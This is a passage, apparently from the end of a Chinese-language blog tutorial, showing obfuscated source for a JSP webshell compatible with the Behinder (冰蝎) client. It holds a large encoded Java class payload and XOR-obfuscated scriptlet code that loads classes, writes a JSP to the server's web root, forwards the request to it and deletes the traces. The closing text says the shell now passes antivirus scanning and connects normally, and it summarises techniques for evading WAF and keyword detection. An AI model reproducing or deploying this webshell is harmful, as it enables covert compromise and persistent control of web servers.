VzCgAnAWkMAWoBawEABmZvcm1hdAEAOShMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwgBbQEAD2Zvcm1hdHRlZFN0cmluZwoBbwFwBwFxDAClAXIBABZqYXZhL3RleHQvTnVtYmVyRm9ybWF0AQAaKClMamF2YS90ZXh0L051bWJlckZvcm1hdDsKAW8BdAwBdQF2AQAYc2V0TWF4aW11bUZyYWN0aW9uRGlnaXRzAQAEKEkpVgZAWQAAAAAAAAoBbwF6DAFqAXsBABUoRClMamF2YS9sYW5nL1N0cmluZzsIAX0BAA9mb3JtYXR0ZWROdW1iZXIIAX8BAA1iaXR3aXNlUmVzdWx0CAGBAQAOYml0d2lzZVJlc3VsdHMKAYMBhAcBhQwBhgGHAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgGDAYkMAYoBiwEACmZyZWVNZW1vcnkBAAMoKUoIAYoKAY4BjwcBkAwAxQGRAQAOamF2YS9sYW5nL0xvbmcBABMoSilMamF2YS9sYW5nL0xvbmc7CgGTAZQHAZUMAZYBlwEAEGphdmEvdXRpbC9BcnJheXMBAARmaWxsAQAGKFtJSSlWCAGZAQALcmFuZG9tQXJyYXkKACcBmwwBnAGdAQALdG9DaGFyQXJyYXkBAAQoKVtDCAGfAQAKcmFuZG9tQ2hhcgoBoQGiBwGjDADFAaQBABNqYXZhL2xhbmcvQ2hhcmFjdGVyAQAYKEMpTGphdmEvbGFuZy9DaGFyYWN0ZXI7BkAFvwqLFFdpCAGoAQALZmxvYXRSZXN1bHQKAaoBqwcBrAwAxQGtAQAQamF2YS9sYW5nL0RvdWJsZQEAFShEKUxqYXZhL2xhbmcvRG91YmxlOwkAAgGvDAGwAJgBAAxJOW9QOHVZN2hLNmwKAAIBsgwBswG0AQAMVzFYMlkzWjRBNUI2AQAbKFtCKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgCaAbYMAbcAngEABHNvcnQIAbkBAA1zb3J0ZWROdW1iZXJzBwG7AQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAb0BABN5eXl5LU1NLWRkIEhIOm1tOnNzCgG6AGsHAcABAA5qYXZhL3V0aWwvRGF0ZQoBvwAJCgG6AcMMAWoBxAEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgBxgEADWZvcm1hdHRlZERhdGUIAcgBAAhpc0VxdWFscwgBygEAC3N0cmluZ1BhcnRzCgAcAcwMAc0BzgEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsKAdAB0QcB0gwB0wHUAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACABcCAHXAQAIcmVzdWx0MTUIAdkBAAhbYS16QS1aXQgB2wEAAVgKACcB3QwB3gHfAQAKcmVwbGFjZUFsbAEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7CAHhAQAOcmVwbGFjZWRTdHJpbmcHAeMBABFqYXZhL3V0aWwvSGFzaFNldAoB4gAJCwHmAI8HAecBAA1qYXZhL3V0aWwvU2V0CAHpAQAFZHVtbXkIAesBAAhkdW1teVNldAoAJwHtDAHuAU0BAAZsZW5ndGgIAfABAAxzdHJpbmdMZW5ndGgHAfIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoB8QH0DAALAVgKAfYB9wcB+AwB+QH6AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7CgH8Af0HAf4MAf8ABgEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABmRlY29kZQcCAQEABEIzJDEKALECAwwCBAIFAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgCxAgcMAggAEAEAFWdldENvbnRleHRDbGFzc0xvYWRlcgoCAAIKDAALAgsBACAoTEIzO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7W0IpVgcCDQEABEIzJDIKAgwCDwwACwIQAQAHKExCMzspVgcCEgEAIWphdmF4L2NyeXB0by9zcGVjL0l2UGFyYW1ldGVyU3BlYwoCEQD+CgEEAhUMAQcCFgEAQihJTGphdmEvc2VjdXJpdHkvS2V5O0xqYXZhL3NlY3VyaXR5L3NwZWMvQWxnb3JpdGhtUGFyYW1ldGVyU3BlYzspVgUAAAAAAAAAMgoAsQIaDAIbAhwBAAVzbGVlcAEABChKKVYHAh4BAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24KAh0BJAEACVNpZ25hdHVyZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQBvKExqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uO0xqYWthcnRhL3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0OylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAicBAB9qYWthcnRhL3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0BwIpAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEADGxhbWJkYSRuZXckMAEACmFjY2VzcyQwMDABAApTb3VyY2VGaWxlAQAHQjMuamF2YQEAEEJvb3RzdHJhcE1ldGhvZHMQAAwPBgIxCgACAjIMAioADA8GAjQKAjUCNgcCNwwCOAI5AQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5AQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7AQAMSW5uZXJDbGFzc2VzAQAHRGVjb2RlcgcCPQEAJWphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXAHAj8BAB5qYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMBAAZMb29rdXAAIQACAAgAAAANAAIAKwAsAAAAAgAxACwAAAACADYALAAAAAIAQAAsAAAAAgA7ACwAAAACAEUALAAAAAIASgAsAAAAAgD1APYAAAACAJQALAAAAAIAlwCYAAAAAgGwAJgAAAACARkBGgAAAAIBHQEeAAECIAAAAAICIQAHAAEACwIiAAECIwAAC2QACAAxAAAHGCq3AAcqtwANOgQZBBIRtgATOgUqGQUSGbYAGwG2ACHAACe1ACkqGQUSLbYAGwG2ACHAACe1AC8qGQUSMrYAGwG2ACHAACe1ADQqGQUSN7YAGwG2ACHAACe1ADkqGQUSPLYAGwG2ACHAACe1AD4qGQUSQbYAGwG2ACHAACe1AEMqGQUSRrYAGwG2ACHAACe1AEgqKrQASLcASxJPtgBROgYruQBVAQAqKrQAL7cAS7YAW5kGV7sAX1m3AGE6BwM2CBkGFQiECAEyuABiNgkVCaoAAAYrAAAAAQAAAB4AAAQZAAAAuAAAA28AAASBAAABNgAABREAAAWPAAABvQAAA90AAAYBAAACPwAABFYAAACFAAAC8AAABVQAAAOyAAABhQAABJsAAAEgAAAFsAAAAfsAAAP7AAAGKwAAAVcAAATlAAACrwAABDYAAAD+AAADjQAABTe7AGhZKiq0ADS3AEu3AGq2AG22AHE6CiwSdBkKuQB2AwC4AHwUAIJrFACEuACGOQunBXa7AIpZtwCMOg0ZDSoqtAA0twBLuQCNAgBXGQ0qKrQAKbcAS7kAjQIAVyoqtACSuAABtQCVGQ24AJksEp8ZDbkAdgMApwUwuAChOg4ZDgQRB+m2AKcZDrYAqzoPLBKvGQ+5AHYDAKcFDrsAsVm6ALMAALcAtzoQGRC2ALqnBPgZBxBktgC9GQcQZLYAvWA2ESwSwRURuADDuQB2AwCnBNcSx7gAyToSGRIqKrQANLcAS7YAzzoTGRO2ANOZBLksEtkZE7YA27kAdgMApwSpuwDeWRLgtwDiOhQsKiq0ADS3AEsqKrQAKbcAS7kAdgMAGRS2AOM2FSwS5hUVuADouQB2AwCnBHG4AO06Fiq0APMFuwD3WSoqtAAptwBLtgD5uwAnWSq0ADm4AAG3AP23AQC2AQMsEwEJGRa2AQu5AHYDAKcEMxInEwEOtgEQOhcZFwS2ARMqKrQBFxIRtgATtQEbGRcqKrQANLcAS7YAIToYLBMBHxkYuQB2AwCnA/k6FxkXtgEjpwPvuwAnWSq0ADm4AAG3AP24ASY6FyoruQEpAQC2AS21AJIZFwS7APdZKiq0ACm3AEu2APm7ACdZKrQAObgAAbcA/bcBALYBAxkXKiq0ADS3AEu2APm2ATI6GCwTATYZGLkAdgMApwOJOhcZF7YBI6cDf7sBOFm3ATo6FxkXEwE7ECq4AMO5AT0DAFcZFyoqtAA0twBLGQcQZLYAvbgAw7kBPQMAVywTAUMZF7kAdgMApwM+uwFFWSoqtAA0twBLtgD5twFHOhgsKiq0ADS3AEsqKrQAKbcAS7kAdgMAKrsAJ1kqtAA5uAABtwD9uAEmtQDzGRi2AUg2GSwTAU4VGbgAw7kAdgMAGRi2AVCnABk6GRkYtgFQpwAMOhoZGRkatgFVGRm/pwLJOhgZGLYBW6cCv7sBXFkTAV63AWC/OhgsEwFhGRi2AWO5AHYDAKcCoRMBZgS9AAhZAyoqtAA0twBLU7gBaDoYLBMBbBkYuQB2AwCnAny4AW46GRkZBbYBc7gAfBQBd2s5GhkZGBq2AXk6HCwTAXwZHLkAdgMApwJREQCqNh0VHREA8II2HSwTAX4VHbgAw7kAdgMApwIzEQCqNh4VHhEA8II2HiwTAYAVHrgAw7kAdgMApwIVuAGCOh8ZH7YBiDcgLBMBjBYguAGNuQB2AwCnAfgQCrwKOiIZIhkHEAq2AL24AZIsEwGYGSK5AHYDAKcB2CoqtAA0twBLtgGaOiMZIxkHGSO+tgC9NDYkLBMBnhUkuAGguQB2AwCnAa24AHwUAaVrOSUsEwGnGCW4Aam5AHYDAKcBk7sAilm3AIw6JwM2KBUoEAqiABsZJ7gAfBQBd2u4Aam5AI0CAFeEKAGn/+QqKiq0Aa63AbG1ARcZJ7gBtSwTAbgZJ7kAdgMApwFJuwG6WRMBvLcBvjoouwG/WbcBwTopGSgZKbYBwjoqLBMBxRkquQB2AwCnAR0qKrQANLcASyoqtAAptwBLtgBbNissEwHHFSu4AOi5AHYDAKcA9yoqtAA0twBLEhG2AFE6LCwTAckZLLkAdgMApwDauAB8FAF3a464AHwUAXdrjmA2LSq0ARsDvQActgHLA70ACLYBzy22AdVXLBMB1hUtuADDuQB2AwCnAJ8qKrQANLcASxMB2BMB2rYB3DouLBMB4BkuuQB2AwCnAH67AeJZtwHkOi8qKrQA8yq0AJW2ATK1Aa4ZLyoqtAA0twBLuQHlAgBXGS8qKrQAKbcAS7kB5QIAVxkvEwHouQHlAgBXLBMB6hkvuQB2AwCnAC0qKrQANLcAS7YB7CoqtAAptwBLtgHsYDYwLBMB7xUwuADDuQB2AwCnAAMVCBkGvqAABqcABqf5u6cADzoEuwHxWRkEtwHzv7EABwLKAwEDBAEhAw4DcQN0ASED0wQTBBsBUwQdBCIEJQFTA78EMQQ0AVkEPgRJBEkBIQAEBwgHCwEhAAICJAAAApIApAAAACYABAAoAAoAKQATACoAJQArADcALABJAC0AWwAuAG0ALwB/ADAAkQAxAKAAMgC0ADMAvQA0AMAAOADNADkBVAA8AWsAPQF1AD8BhABAAYcARAGQAEUBoABGAbAARwG7AEgBwABJAcoASgHNAE4B0gBPAdsAUAHiAFEB7ABSAe8AVgH9AF0CAgBeAgUAYgIWAGMCIwBkAiYAaAItAGkCPABqAkQAawJUAHECXwByAnUAcwJ8AHQCiQB1AowAeQKRAHoCuQB7AscAfALKAIEC1ACCAtoAgwLnAIQC9gCFAwEAiAMEAIYDBgCHAwsAiQMOAI4DIQCPAy4AkANUAJEDZgCSA3EAlQN0AJMDdgCUA3sAlgN+AJoDhwCbA5cAnAOxAJ0DvACeA78AogPTAKMD6QCkA/4ApQQFAKYEEwCnBBsAogQxAKkENACnBDYAqAQ7AKoEPgCvBEkAsARLALEEWQCzBFwAtwRzALgEfgC5BIEAvQSGAL4EjAC/BJUAwASeAMEEqQDCBKwAxgSxAMcEuQDIBMcAyQTKAMwEzwDNBNcAzgTlAM8E6ADTBO0A1AT0ANUFAgDWBQUA2gULANsFFwDcBSIA3QUlAOEFMgDiBT8A4wVNAOQFUADoBVkA6QVnAOoFagDuBXMA7wV9APAFjwDvBZUA8gWhAPMFpgD0BbEA9QW0APkFwAD6BckA+wXSAPwF3QD9BeABAQX1AQIGAwEDBgYBBwYVAQgGIAEJBiMBDQY2AQ4GTQEPBlsBEAZeARQGcQEVBnwBFgZ/ARoGiAEbBpcBHAanAR0GtwEeBsIBHwbNASAG0AEkBukBJQb3ASYG+gErBwIBLAcFAS4HCAE7BwsBOQcNAToHFwE8AiUAAAFqAC3/AMAACQcAAgcAVgcAdwcCJgcAFAcAHAcCKAcAXwEAAPwAkwEy+wBFIRUgLTc9eQcBIQn3AGUHASEJ+wBA/wBbABkHAAIHAFYHAHcHAiYHABQHABwHAigHAF8BAQAAAAAAAAAAAAAAAAAABwFJAAEHAVP/AAkAGgcAAgcAVgcAdwcCJgcAFAcAHAcCKAcAXwEBAAAAAAAAAAAAAAAAAAAHAUkHAVMAAQcBUwj/AAIACgcAAgcAVgcAdwcCJgcAFAcAHAcCKAcAXwEBAABCBwFZCUoHASESJCodHRwfKhn/AAsAKQcAAgcAVgcAdwcCJgcAFAcAHAcCKAcAXwEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAI4BAAD6AB7/AB4ACgcAAgcAVgcAdwcCJgcAFAcAHAcCKAcAXwEBAAArJRw6IPsAUCn6AAr/AAIABAcAAgcAVgcAdwcCJgAAQgcBIQsACgAFAAYAAQIjAAAAIAACAAEAAAAIuAH1KrYB+7AAAAABAiQAAAAGAAEAAAE/AAIBswG0AAECIwAAACgABQACAAAAELsCAFkquAICtgIGK7cCCbAAAAABAiQAAAAGAAEAAAFDAAIADwAQAAECIwAAACEAAwABAAAACbsCDFkqtwIOsAAAAAECJAAAAAYAAQAAAVgAAgBNAE4AAQIjAAAAuAAGAAcAAABquwD3WSq0AD64AAG7ACdZKrQAObgAAbcA/bcBAE27AhFZKrQAPrgAAbcCE067ACdZKrQAQ7gAAbcA/bgBJjoEGQQFLC22AhQruAABOgUZBBkFtgEyOga7ACdZGQa3AP2wTbsB8VkstwHzvwABAAAAXwBgASEAAgIkAAAAJgAJAAABcAAdAXEALAFyAD8BcwBHAXQATQF1AFYBdwBgAXgAYQF5AiUAAAAIAAH3AGAHASEQCgIqAAwAAQIjAAAATAACAAEAAAAPFAIXuAIZpwAISyq2Ah+xAAEAAAAGAAkCHQACAiQAAAAWAAUAAABYAAYAWwAJAFkACgBaAA4AXAIlAAAABwACSQcCHQQQCAIrAAYAAQIjAAAAHQABAAEAAAAFKrgAAbAAAAABAiQAAAAGAAEAAAAWAAMCLAAAAAICLQIuAAAADAABAjMAAwIvAjACLwI6AAAAIgAEAfwB9gI7AAkCAAAAAAAAAAIMAAAAAAAAAjwCPgJAABk=";
        byte[][] C6dE7fG8hI9j = new byte[(246728 ^ 28525) ^ (911716 ^ 935362)][];
        C6dE7fG8hI9j[(411515 ^ 838949) ^ (510181 ^ 869051)] = O8pQ9qR0sS1i(Q5R6S7T8U9V0);
        C6dE7fG8hI9j[(501098 ^ 899901) ^ (472757 ^ 862435)] = O8pQ9qR0sS1i(W1X2Y3Z4A5B6);
        C6dE7fG8hI9j[(788364 ^ 949633) ^ (12799 ^ 150512)] = O8pQ9qR0sS1i(U8vW9xY0zA1b);
        String[] K0lM1nO2pP3q = S4tU5vV6wW7h(C6dE7fG8hI9j, request);
        String[] L0mN1nO2pP3q = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};

        java.net.URL[] S8tU9vV0wW1x = {
                new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(559281 ^ 837696) ^ (745704 ^ 991257)]).toURL(),
                new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(447658 ^ 845870) ^ (109535 ^ 759642)]).toURL(),
                new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(149692 ^ 172184) ^ (849476 ^ 794210)]).toURL()
        };

        try (java.net.URLClassLoader T2uV3wW4xX5y = new java.net.URLClassLoader(S8tU9vV0wW1x, Thread.currentThread().getContextClassLoader())) {
            for (String U6vW7xX8yY9z : L0mN1nO2pP3q) {
                Class<?> V0wX1yY2zZ3a = T2uV3wW4xX5y.loadClass(U6vW7xX8yY9z);
                if (V0wX1yY2zZ3a.getName().equals(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a"))))) {
                    V0wX1yY2zZ3a.getConstructor(HttpServletRequest.class, HttpSession.class, PageContext.class).newInstance(request, session, pageContext);
                }
            }
            java.io.File W4xY5zZ6aA7b = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(702690 ^ 745177) ^ (29715 ^ 102952)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));
            java.io.File W4xY5zZ6aA7c = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(698507 ^ 663921) ^ (410552 ^ 444995)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));
            java.io.File V0wX1yY2zZ3s = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(227407 ^ 518696) ^ (506169 ^ 207708)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));
            W4xY5zZ6aA7b.delete();
            W4xY5zZ6aA7c.delete();
            V0wX1yY2zZ3s.delete();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
%>
");String N4oP5qQ6rR7s = request.getServletContext().getRealPath("/") + H0iJ1kL2mN3o;try {try (FileOutputStream R0sT1tU2uV3w = new FileOutputStream(N4oP5qQ6rR7s)) {int T8uV9wW0xX1y = 1024 * 1024;for (int i = 0; i < J8kL9mN0oP1q.length; i += T8uV9wW0xX1y) {int U2vW3xX4yY5z = Math.min(i + T8uV9wW0xX1y, J8kL9mN0oP1q.length);R0sT1tU2uV3w.write(J8kL9mN0oP1q, i, U2vW3xX4yY5z - i);R0sT1tU2uV3w.flush();}}RequestDispatcher X4yZ5aA6bB7c = request.getRequestDispatcher("/" + H0iJ1kL2mN3o);if (X4yZ5aA6bB7c != null) {X4yZ5aA6bB7c.forward(request, response);}File file = new File(N4oP5qQ6rR7s);if (file.exists()) {file.delete();}} catch (Exception e) {File file = new File(N4oP5qQ6rR7s);if (file.exists()) {file.delete();}e.printStackTrace();}
%>

可以看到这回已经全绿了：

冰蝎连接也可以正常使用：

04 总结

避免直接在代码中使用黑名单的关键字，增加代码的复杂度和添加适当的加密，通过嵌套多层代码结构增加代码理解难度，增加检测成本，同时将类文件直接写入目标服务器来绕过waf之类的检测。虽然这种方法在集成环境下有可能会找不到写入的文件，但已经可以应对大多数场景。虽然该文章以冰蝎为例，但实际只需要将核心部分改成对应不同的马类型即可，本文也是借鉴了各大师傅的思路并结合了自己的思路，还请各位师傅指正和交流。